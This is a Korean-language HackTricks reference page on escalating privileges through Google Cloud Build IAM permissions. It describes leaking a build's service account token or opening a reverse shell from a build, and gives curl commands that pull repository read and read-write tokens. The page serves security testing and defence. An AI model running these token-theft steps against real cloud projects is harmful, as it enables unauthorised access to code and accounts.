GCP - Cloudbuild Privesc

htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배우세요!

HackTricks를 지원하는 다른 방법:

cloudbuild

클라우드 빌드에 대한 자세한 정보는 다음을 확인하세요:

pageGCP - Cloud Build Enum

cloudbuild.builds.create

이 권한을 가지면 클라우드 빌드를 제출할 수 있습니다. 클라우드빌드 머신에는 기본적으로 클라우드빌드 서비스 계정의 토큰이 파일 시스템에 있습니다: <PROJECT_NUMBER>@cloudbuild.gserviceaccount.com. 그러나 클라우드빌드 구성에서 프로젝트 내의 어떤 서비스 계정을 지정할 수 있습니다. 따라서 머신을 사용하여 토큰을 서버로 유출하거나 머신 내에서 역쉘을 획들하여 토큰을 획득할 수 있습니다 (토큰이 포함된 파일은 변경될 수 있음).

원본 악용 스크립트는 여기 GitHub에서 찾을 수 있습니다 (하지만 토큰을 가져오는 위치가 제대로 작동하지 않았습니다). 따라서 취약한 환경의 생성, 악용 및 정리를 자동화하는 스크립트를 여기서 확인하고 클라우드빌드 머신 내에서 역쉘을 얻고 여기서 훔치세요 (코드에서 다른 서비스 계정을 지정하는 방법을 찾을 수 있음).

더 자세한 설명은 https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/를 방문하세요.

cloudbuild.builds.update

이 권한으로는 클라우드 빌드를 업데이트하고 이전 권한과 같이 서비스 계정 토큰을 훔칠 수 있을 수 있습니다 (하지만 작성 시점에 해당 API를 호출하는 방법을 찾지 못했습니다).

TODO

cloudbuild.repositories.accessReadToken

이 권한으로 사용자는 리포지토리에 액세스하는 데 사용되는 읽기 액세스 토큰을 얻을 수 있습니다:

curl -X POST \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
-H "Content-Type: application/json" \
-d '{}' \
"https://cloudbuild.googleapis.com/v2/projects/<PROJECT_ID>/locations/<LOCATION>/connections/<CONN_ID>/repositories/<repo-id>:accessReadToken"

cloudbuild.repositories.accessReadWriteToken

이 권한을 가지면 사용자는 저장소에 액세스하는 데 사용되는 읽기 및 쓰기 액세스 토큰을 얻을 수 있습니다:

curl -X POST \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
-H "Content-Type: application/json" \
-d '{}' \
"https://cloudbuild.googleapis.com/v2/projects/<PROJECT_ID>/locations/<LOCATION>/connections/<CONN_ID>/repositories/<repo-id>:accessReadWriteToken"

cloudbuild.connections.fetchLinkableRepositories

이 권한을 사용하면 연결이 액세스할 수 있는 저장소를 가져올 수 있습니다:

curl -X GET \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
"https://cloudbuild.googleapis.com/v2/projects/<PROJECT_ID>/locations/<LOCATION>/connections/<CONN_ID>:fetchLinkableRepositories"
htARTE (HackTricks AWS Red Team Expert)를 통해 제로부터 영웅이 되는 AWS 해킹을 배우세요!

HackTricks를 지원하는 다른 방법:

最終更新